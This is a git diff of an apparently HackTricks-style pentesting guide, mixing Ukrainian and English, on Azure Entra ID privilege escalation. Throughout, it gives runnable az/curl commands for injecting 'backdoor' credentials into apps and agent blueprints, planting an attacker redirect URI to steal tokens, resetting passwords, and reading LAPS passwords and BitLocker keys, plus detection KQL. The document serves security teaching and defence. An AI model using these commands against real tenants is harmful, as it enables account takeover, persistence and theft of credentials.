diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index c11e94c99..65f815c4c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,13 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Зауважте, що **не всі granular permissions**, які мають вбудовані roles в Entra ID, **можна використовувати в custom roles.** +> Зауважте, що **не всі granular permissions**, які вбудовані ролі мають в Entra ID, **є eligible to be used in custom roles.** ## Roles ### Role: Privileged Role Administrator -Ця role містить необхідні granular permissions, щоб мати змогу призначати roles principals і надавати roles більше permissions. Обидві дії можна abuse, щоб escalate privileges. +Ця роль містить необхідні granular permissions, щоб мати змогу призначати roles principals і надавати roles більше permissions. Обидві дії можна зловживати для escalation privileges. - Assign role to a user: ```bash @@ -52,16 +52,47 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Це дозволяє атакувальнику **додавати credentials** (паролі або certificates) до наявних applications. Якщо application має privileged permissions, атакувальник може authenticate як ця application і отримати ці privileges. +Це дозволяє attacker **додати credentials** (passwords або certificates) до existing applications. If the application has privileged permissions, attacker can authenticate as that application and gain those privileges. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` +### `microsoft.directory/applications.myOrganization/allProperties/update` + +Цей permission надає оновлення **кожної writable property** будь-якої **single-tenant** application registration (`signInAudience = AzureADMyOrg`), включно з `passwordCredentials` і `keyCredentials`. У catalog він позначений як `IsPrivileged: true`, але **не** присутній у жодній built-in role — він з’являється майже виключно в **custom roles**, які admin створює, щоб делегувати "manage our internal apps", не усвідомлюючи, що підтип `.myOrganization` фактично обмежує дію саме набором apps, які найімовірніше мають privileged Microsoft Graph permissions. + +- Enumerate apps with privileged Microsoft Graph permissions consented: +```bash +# SPs with at least one Microsoft Graph app role assigned +GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv) +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \ +--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \ +-o table + +# Resolve a RoleId to the human-readable permission name +az ad sp show --id 00000003-0000-0000-c000-000000000000 \ +--query "appRoles[?id==''].value" -o tsv +``` +- Підтвердіть, що ціль є single-tenant (у межах subtype scope `.myOrganization`): +```bash +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')" \ +--query "{audience:signInAudience, name:displayName}" +# audience must be "AzureADMyOrg" +``` +- Inject a credential into the target app — the only privileged step in the chain: +```bash +az rest --method POST \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \ +--headers "Content-Type=application/json" \ +--body '{"passwordCredential":{"displayName":"backdoor"}}' +``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Це дозволяє ті самі дії, що й `applications/credentials/update`, але з областю дії для single-directory applications. +Це дозволяє ті самі дії, що й `applications/credentials/update`, але в межах single-directory applications. ```bash az ad app credential reset --id --append ``` @@ -77,24 +108,24 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Зловмисник може додати redirect URI до applications, які використовуються користувачами tenant, а потім поділитися з ними login URLs, що використовують новий redirect URL, щоб викрасти їхні tokens. Зверніть увагу, що якщо user already був logged in у application, authentication відбудеться automatically, без того, щоб user потрібно було щось підтверджувати. +Зловмисник може додати redirect URI до applications, які використовуються users цього tenant, а потім ділитися з ними login URLs, що використовують новий redirect URL, щоб вкрасти їхні tokens. Зверніть увагу, що якщо user уже був logged in в application, authentication відбудеться automatically без потреби для user щось приймати. -Зверніть увагу, що також можливо змінити permissions, які application запитує, щоб отримати більше permissions, але в такому випадку user потрібно буде знову accept prompt із запитом на всі permissions. +Зверніть увагу, що також можна змінити permissions, які application запитує, щоб отримати більше permissions, але в цьому випадку user потрібно буде знову accept prompt, який просить про всі permissions. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -### Applications Privilege Escalation +### Підвищення привілеїв Applications -**Як explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** it was very common to find default applications that have **API permissions** of type **`Application`** assigned to them. An API Permission (as called in the Entra ID console) of type **`Application`** means that the application can access the API and perform actions without a user context (without a user login into the app), and without needing Entra ID roles to allow it. Therefore, it's very common to find **high privileged applications in every Entra ID tenant**. +**Як пояснено в [цьому пості](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, було дуже поширено знаходити default applications, які мають призначені **API permissions** типу **`Application`**. API Permission (як це називається в консолі Entra ID) типу **`Application`** означає, що application може отримувати доступ до API та виконувати дії без user context (без user login в app) і без потреби в Entra ID roles, щоб це дозволити. Тому дуже часто можна знайти **high privileged applications у кожному Entra ID tenant**. -Then, if an attacker has any permission/role that allows to **update the credentials (secret o certificate) of the application**, the attacker can generate a new credential and then use it to **authenticate as the application**, gaining all the permissions that the application has. +Далі, якщо attacker має будь-який permission/role, що дозволяє **оновити credentials (secret or certificate) of the application**, attacker може згенерувати новий credential і потім використати його, щоб **authenticate as the application**, отримавши всі permissions, які має application. -Note that the mentioned blog shares some **API permissions** of common Microsoft default applications however some time after this report Microsoft fixed this issue and now it's not possible to login as Microsoft applications anymore. However, it's still possible to find **custom applications with high privileges that could be abused**. +Зверніть увагу, що згаданий blog показує деякі **API permissions** common Microsoft default applications, однак через деякий час після цього report Microsoft виправила цю issue, і тепер уже неможливо login as Microsoft applications. Проте все ще можна знаходити **custom applications with high privileges that could be abused**. -How to enumerate the API permissions of an application: +Як перелічити API permissions of an application: ```bash # Get "API Permissions" of an App ## Get the ResourceAppId @@ -125,7 +156,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Знайдіть усі application API permissions і позначте Microsoft-owned APIs +Знайдіть усі API permissions applications і позначте Microsoft-owned APIs ```bash #!/usr/bin/env bash set -euo pipefail @@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json") ### `microsoft.directory/servicePrincipals/credentials/update` -Це дозволяє attacker додавати credentials до existing service principals. Якщо service principal має elevated privileges, attacker може отримати ці privileges. +Це дозволяє attacker додавати credentials до наявних service principals. Якщо service principal має elevated privileges, attacker може успадкувати ці privileges. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> Новий згенерований password не з’явиться у web console, тож це може бути stealth-спосіб зберігати persistence над service principal.\ -> Через API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> Нова згенерована password не з’явиться у web console, тож це може бути stealth-способом зберігати persistence над service principal.\ +> From the API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Якщо ви отримуєте помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** SP, і спочатку потрібно її unlock. Для цього вам потрібен permission (`microsoft.directory/applications/allProperties/update`), який дозволяє виконати: +Якщо ви отримуєте помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** of the SP, і спочатку потрібно її unlock. Для цього вам потрібен permission (`microsoft.directory/applications/allProperties/update`), який дозволяє виконати: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` -### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`) +### Зловживання blueprint credential Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`) -**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities. +**Agent identity blueprints** — це application objects, і кожен blueprint також створює **agent identity blueprint principal** у tenant. **Agent identities** — це дочірні service-principal-derived об’єкти цього blueprint path. Тому, якщо attacker може **додати password/certificate до blueprint** або вже вкрав один із його credentials, він згодом може authenticate як **blueprint principal** і request tokens для дочірніх agent identities. -This turns a bad Entra Agent ID role assignment into both: +Це перетворює невдале Entra Agent ID role assignment на: -- **Persistence**: the new `passwordCredential` remains on the blueprint until removed -- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents +- **Persistence**: новий `passwordCredential` залишається на blueprint, доки його не видалять +- **Privilege escalation**: low-trust/dev agent може перейти в інший high-trust blueprint і потім діяти як його child agents -Typical dangerous paths are: +Типові небезпечні шляхи: -- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`** -- A compromised owner/sponsor/admin able to manage the blueprint +- Compromised agent identity з **`AgentIdentityBlueprint.AddRemoveCreds.All`** +- Compromised owner/sponsor/admin, здатний керувати blueprint - Theft of an existing blueprint secret/certificate -Add a new secret to the target blueprint: +Додати новий secret до target blueprint: ```bash az rest --method POST \ --url "https://graph.microsoft.com/beta/applications//addPassword" \ @@ -280,7 +311,7 @@ az rest --method POST \ $params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } } Add-MgBetaApplicationPassword -ApplicationId -BodyParameter $params ``` -Якщо новий credential прийнято, authenticate як **blueprint principal** і abuse Agent ID token exchange. Перший request використовує blueprint credential і встановлює **`fmi_path`** на target agent identity. Повернутий token потім повторно використовується як **JWT bearer `client_assertion`**, щоб отримати Microsoft Graph token для that agent identity. +Якщо новий credential прийнято, authenticate як **blueprint principal** і abuse Agent ID token exchange. Перший request використовує blueprint credential і встановлює **`fmi_path`** на цільовий agent identity. Повернений token потім повторно використовується як **JWT bearer `client_assertion`** для отримання Microsoft Graph token для цього agent identity. ```bash curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ -H 'Content-Type: application/x-www-form-urlencoded' \ @@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ --data-urlencode 'scope=https://graph.microsoft.com/.default' ``` > [!CAUTION] -> Якщо **dev** blueprint або його child agent можуть додавати credentials до **prod** blueprint, attacker перетинає очікувану blueprint/agent trust boundary і отримує durable access до target agent infrastructure. +> Якщо **dev** blueprint або його child agent може додавати credentials до **prod** blueprint, attacker перетинає очікувану blueprint/agent trust boundary і отримує durable access до target agent infrastructure. Quick validation / scoping: ```powershell @@ -316,11 +347,11 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '' } Нотатки для hunting: - Шукайте **`Update application – Certificates and secrets management`** у [Az - Monitoring](../../az-services/az-monitoring.md) -- Correlate **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, and **`AADServicePrincipalSignInLogs`** за часом, service principal ID, user-agent, IP, і `SignInActivityId` / `UniqueTokenIdentifier` -- У `MicrosoftGraphActivityLogs` перевірте `RequestUri`, що закінчується на **`/applications//microsoft.graph.addPassword`**, і чи містить `Roles` **`AgentIdentityBlueprint.AddRemoveCreds.All`** -- У `AADServicePrincipalSignInLogs` перегляньте `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, і чи використовувався новий key пізніше +- Корелюйте **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** і **`AADServicePrincipalSignInLogs`** за часом, service principal ID, user-agent, IP і `SignInActivityId` / `UniqueTokenIdentifier` +- У `MicrosoftGraphActivityLogs` перевіряйте `RequestUri`, що закінчується на **`/applications//microsoft.graph.addPassword`**, і чи містить `Roles` **`AgentIdentityBlueprint.AddRemoveCreds.All`** +- У `AADServicePrincipalSignInLogs` перегляньте `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` і чи новий key потім використовувався -Minimal KQL to see whether the newly added secret authenticated: +Мінімальний KQL, щоб побачити, чи автентифікувався щойно доданий secret: ```kusto AADServicePrincipalSignInLogs | where ServicePrincipalCredentialKeyId == "" @@ -330,7 +361,7 @@ AADServicePrincipalSignInLogs ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Це дозволяє attacker додавати credentials до existing service principals. Якщо service principal має elevated privileges, attacker може отримати ці privileges. +Це дозволяє attacker додавати credentials до існуючих service principals. Якщо service principal має elevated privileges, attacker може перебрати на себе ці privileges. ```bash az ad sp credential reset --id --append ``` @@ -354,13 +385,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**. +> Після додавання нового owner я спробував видалити його, але API відповів, що метод DELETE не підтримується, навіть якщо саме його потрібно використовувати для видалення owner. Тож зараз ти **не можеш видаляти owners**. ### `microsoft.directory/servicePrincipals/disable` and `enable` -These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges. +Ці permissions дозволяють disable і enable service principals. Зловмисник може використати ці permissions, щоб enable service principal, до якого він зможе якось отримати доступ, і таким чином escalate privileges. -Note that for this technique the attacker will need more permissions in order to take over the enabled service principal. +Зверни увагу, що для цієї technique зловмиснику знадобляться додаткові permissions, щоб take over увімкнений service principal. ```bash # Disable az ad sp update --id --account-enabled false @@ -370,7 +401,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Ці permissions дозволяють створювати та отримувати credentials для single sign-on, що може надати доступ до сторонніх applications. +Ці permissions дозволяють створювати та отримувати credentials для single sign-on, що може дати доступ до сторонніх applications. ```bash # Generate SSO creds for a user or a group spID="" @@ -396,24 +427,24 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -Цей дозвіл дозволяє додавати користувачів до privileged groups, що призводить до privilege escalation. +Цей дозвіл дозволяє додавати користувачів до привілейованих groups, що веде до privilege escalation. ```bash az ad group member add --group --member-id ``` -**Примітка**: Цей дозвіл не включає Entra ID role-assignable groups. +**Примітка**: Цей дозвіл виключає Entra ID role-assignable groups. ### `microsoft.directory/groups/owners/update` -Цей дозвіл дозволяє стати owner груп. owner групи може керувати membership і settings групи, потенційно підвищуючи privileges до групи. +Цей дозвіл дозволяє стати owner груп. Owner групи може контролювати membership групи та settings, що потенційно дозволяє підвищити privileges до групи. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Примітка**: Цей дозвіл не включає Entra ID role-assignable groups. +**Примітка**: Цей дозвіл виключає Entra ID role-assignable groups. ### `microsoft.directory/groups/members/update` -Цей дозвіл дозволяє додавати учасників до group. Зловмисник може додати себе або malicious accounts до privileged groups, що може надати elevated access. +Цей дозвіл дозволяє додавати members до групи. Зловмисник може додати себе або malicious accounts до privileged groups, що може надати elevated access. ```bash az ad group member add --group --member-id ``` @@ -430,11 +461,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Примітка**: Це дозвіл не включає Entra ID role-assignable groups. +**Примітка**: Цей дозвіл не включає Entra ID role-assignable groups. ### Dynamic Groups Privesc -Може бути можливо для користувачів підвищити привілеї, змінюючи власні властивості, щоб бути доданими як members dynamic groups. Для more info check: +Може бути можливо для користувачів підвищити привілеї, змінюючи власні властивості, щоб бути доданими як members dynamic groups. Для отримання додаткової інформації див.: {{#ref}} dynamic-groups.md @@ -444,7 +475,7 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Цей дозвіл дозволяє reset password для non-admin users, що дає potential attacker змогу підвищити привілеї до інших користувачів. Цей дозвіл cannot be assigned to custom roles. +Цей дозвіл дозволяє скинути пароль для non-admin users, що дає потенційному attacker змогу підвищити привілеї до інших users. Цей дозвіл не може бути призначений custom roles. ```bash # Update user password userId="" @@ -464,7 +495,7 @@ az rest --method PATCH \ ``` ### `microsoft.directory/users/basic/update` -Цей privilege дозволяє змінювати властивості користувача. Часто трапляються dynamic groups, які додають користувачів на основі значень властивостей, тому цей permission може дозволити користувачу встановити потрібне значення властивості, щоб стати членом конкретної dynamic group і підвищити privileges. +Ця privilege дозволяє змінювати властивості user. Часто можна знайти dynamic groups, які додають users на основі значень properties, тому цей permission може дозволити user встановити потрібне значення property, щоб стати member конкретної dynamic group і підвищити privileges. ```bash #e.g. change manager of a user victimUser="" @@ -480,9 +511,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Політики Conditional Access & обхід MFA +## Conditional Access Policies & MFA bypass -Неправильно налаштовані conditional access policies, що вимагають MFA, можна було обійти, перевірте: +Неправильно налаштовані conditional access policies, які вимагають MFA, можуть бути bypassed, перевірте: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Цей permission дозволяє атакувальникам призначати себе власниками devices, щоб отримати контроль або доступ до специфічних для device налаштувань і даних. +Цей permission дозволяє attackers призначати себе власниками devices, щоб отримати control або access до device-specific settings і data. ```bash deviceId="" userId="" @@ -503,7 +534,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Цей дозвіл дозволяє attackers асоціювати свій обліковий запис із devices, щоб отримати доступ або обійти security policies. +Цей дозвіл дозволяє атакувальникам пов’язувати свій обліковий запис із пристроями, щоб отримати доступ або обійти політики безпеки. ```bash deviceId="" userId="" @@ -514,7 +545,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Цей дозвіл дозволяє attackers читати властивості резервної копії облікових даних локального administrator account для Microsoft Entra joined devices, включно з password +Цей permission дозволяє attackers читати властивості резервних local administrator account credentials для Microsoft Entra joined devices, включно з password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -529,7 +560,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Цей permission дозволяє отримати доступ до BitLocker keys, що може дозволити attacker розшифрувати drives, скомпрометувавши confidentiality даних. +Цей permission дозволяє отримувати доступ до BitLocker keys, що може дати attacker змогу decrypt drives, скомпрометувавши data confidentiality. ```bash # List recovery keys az rest --method GET \